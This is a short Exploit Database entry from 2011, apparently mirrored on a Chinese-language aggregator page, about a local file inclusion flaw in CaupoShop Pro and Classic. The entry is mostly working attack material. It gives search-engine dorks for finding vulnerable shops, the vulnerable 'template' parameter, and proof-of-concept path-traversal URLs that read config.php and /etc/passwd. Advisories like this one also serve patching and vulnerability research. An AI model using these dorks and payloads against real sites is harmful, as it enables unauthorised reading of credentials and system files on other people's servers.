CaupoShop Pro (2.x < 3.70) Classic 3.01 - Local File Inclusion

• Exploit Database
• 15 阅读

• 作者： Rami Salama
  日期： 2011-11-02
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/18066/

• CaupoShop Pro (2.x/ <= 3.70) Local File Include Vulnerability
  -----------------------------------------------------------------------------------------
  # Vuln Softwares : 	CaupoShop Pro 2.x
  	 	CaupoShop Classic 3.01 
  	 	CaupoShop Pro 3.70
  # Discovered By :	 Rami Salama
  #Contact :		eng.ramisalama_[at]_gmail_[dot]_com
  # Vendor: 	http://www.caupo.net
  # Greets To : 	All my colleagues and friends in MCIT scholarship at Raya Academy
  #Dorks : 		"powered by CaupoShop"
  		 inurl:index.php?action=template&template
  
  #Exploit: 		http://127.0.0.1/[CaupoShop]/index.php?action=template&template=[LFI]
  #POC :		http://127.0.0.1/[CaupoShop]/index.php?action=template&template=../../../config.php
  		http://127.0.0.1/[CaupoShop]/index.php?action=template&template=../../../../../../etc/passwd
  
  #28 October 2011 - Egypt